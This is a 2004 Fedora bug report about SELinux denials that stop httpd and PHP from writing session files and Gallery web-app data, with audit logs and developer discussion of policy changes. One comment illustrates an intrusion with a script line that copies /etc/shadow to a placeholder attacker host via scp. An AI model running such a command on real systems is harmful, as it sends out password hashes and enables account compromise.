Bug 121063
| Summary: | php session management in enforcing mode | ||
|---|---|---|---|
| Product: | [Fedora] Fedora | Reporter: | Tim Waugh <twaugh> |
| Component: | php | Assignee: | Joe Orton <jorton> |
| Status: | CLOSED CURRENTRELEASE | QA Contact: | David Lawrence <dkl> |
| Severity: | medium | Docs Contact: | |
| Priority: | medium | ||
| Version: | rawhide | CC: | dwalsh, wtogami |
| Target Milestone: | --- | ||
| Target Release: | --- | ||
| Hardware: | All | ||
| OS: | Linux | ||
| Whiteboard: | |||
| Fixed In Version: | Doc Type: | Bug Fix | |
| Doc Text: | Story Points: | --- | |
| Clone Of: | Environment: | ||
| Last Closed: | 2004-11-22 11:59:07 UTC | Type: | --- |
| Regression: | --- | Mount Type: | --- |
| Documentation: | --- | CRM: | |
| Verified Versions: | Category: | --- | |
| oVirt Team: | --- | RHEL 7.3 requirements from Atomic Host: | |
| Cloudforms Team: | --- | Target Upstream Version: | |
| Embargoed: | |||
Is SELinux going to get in the way even for the "unprivileged" httpd children running setuid apache? This is painful. httpd, when running as the 'apache' user, needs to have permissions to do whatever it likes in /var/lib/php/session/. This can be added to the policy. This particular webapp also needs write access to /var/www/html/, but that's not something which can go in the policy; in general, you *don't* want the web server to have write acccess to the web content. Except when you do. So this is something the server admin needs to configure, I guess. The /var/lib/php/session policy was changed, so this bug can be closed. However, gallery is still a long way from working since it uses system() in the install scripts. Joe, How can I test and fix this? Dan Unless you want to allow httpd to exec /bin/bash in the default policy (which I would guess defeats the point of having SELinux on by default) you can't fix this. No allowing it to exec bash does not necessarily open you to a great deal of problems. You would still be running in the httpd context. So even if a hacker broke into apache and got it to run a shell #!/bin/sh scp /etc/shadow MYHOST It would fail because httpd_t is not allowed to access /etc/shadow. |
Description of problem: I tried logging into a php application running on an enforcing rawhide installation, but it failed. Here is the log from trying it after 'setenforce 0': audit(1082134568.528:0): avc: denied { write } for pid=23927 exe=/usr/sbin/httpd name=session dev=hda2 ino=1017200 scontext=root:system_r:httpd_t tcontext=system_u:object_r:var_lib_t tclass=dir audit(1082134568.528:0): avc: denied { add_name } for pid=23927 exe=/usr/sbin/httpd name=sess_9a0cc65957c33ae245fefb45e53cdfd7 scontext=root:system_r:httpd_t tcontext=system_u:object_r:var_lib_t tclass=dir audit(1082134568.528:0): avc: denied { create } for pid=23927 exe=/usr/sbin/httpd name=sess_9a0cc65957c33ae245fefb45e53cdfd7 scontext=root:system_r:httpd_t tcontext=root:object_r:var_lib_t tclass=file audit(1082134568.544:0): avc: denied { write } for pid=23927 exe=/usr/sbin/httpd path=/var/lib/php/session/sess_9a0cc65957c33ae245fefb45e53cdfd7 dev=hda2 ino=1017205 scontext=root:system_r:httpd_t tcontext=root:object_r:var_lib_t tclass=file audit(1082134570.096:0): avc: denied { append } for pid=23921 exe=/usr/sbin/httpd name=1056296843_1547169690.lock dev=hda7 ino=738596 scontext=root:system_r:httpd_t tcontext=root:object_r:httpd_sys_content_t tclass=file audit(1082134570.135:0): avc: denied { write } for pid=23921 exe=/usr/sbin/httpd name=.users dev=hda7 ino=738590 scontext=root:system_r:httpd_t tcontext=root:object_r:httpd_sys_content_t tclass=dir audit(1082134570.135:0): avc: denied { add_name } for pid=23921 exe=/usr/sbin/httpd name=1056296843_1547169690.0 scontext=root:system_r:httpd_t tcontext=root:object_r:httpd_sys_content_t tclass=dir audit(1082134570.135:0): avc: denied { create } for pid=23921 exe=/usr/sbin/httpd name=1056296843_1547169690.0 scontext=root:system_r:httpd_t tcontext=root:object_r:httpd_sys_content_t tclass=file audit(1082134570.198:0): avc: denied { write } for pid=23921 exe=/usr/sbin/httpd path=/var/www/html/albums/.users/1056296843_1547169690.0 dev=hda7 ino=1114181 scontext=root:system_r:httpd_t tcontext=root:object_r:httpd_sys_content_t tclass=file audit(1082134570.200:0): avc: denied { remove_name } for pid=23921 exe=/usr/sbin/httpd name=1056296843_1547169690 dev=hda7 ino=738595 scontext=root:system_r:httpd_t tcontext=root:object_r:httpd_sys_content_t tclass=dir audit(1082134570.200:0): avc: denied { rename } for pid=23921 exe=/usr/sbin/httpd name=1056296843_1547169690 dev=hda7 ino=738595 scontext=root:system_r:httpd_t tcontext=root:object_r:httpd_sys_content_t tclass=file audit(1082134570.200:0): avc: denied { unlink } for pid=23921 exe=/usr/sbin/httpd name=1056296843_1547169690.bak dev=hda7 ino=738597 scontext=root:system_r:httpd_t tcontext=root:object_r:httpd_sys_content_t tclass=file Version-Release number of selected component (if applicable): policy-1.11.2-8 httpd-2.0.49-2 php-4.3.4-11 How reproducible: 100% Steps to Reproduce: 1. Install gallery from gallery.sf.net, set up users (I can make a ready-made tarball available) 2. setenforce 1 2. Try to log in Looks like /var/lib/php needs a different file context.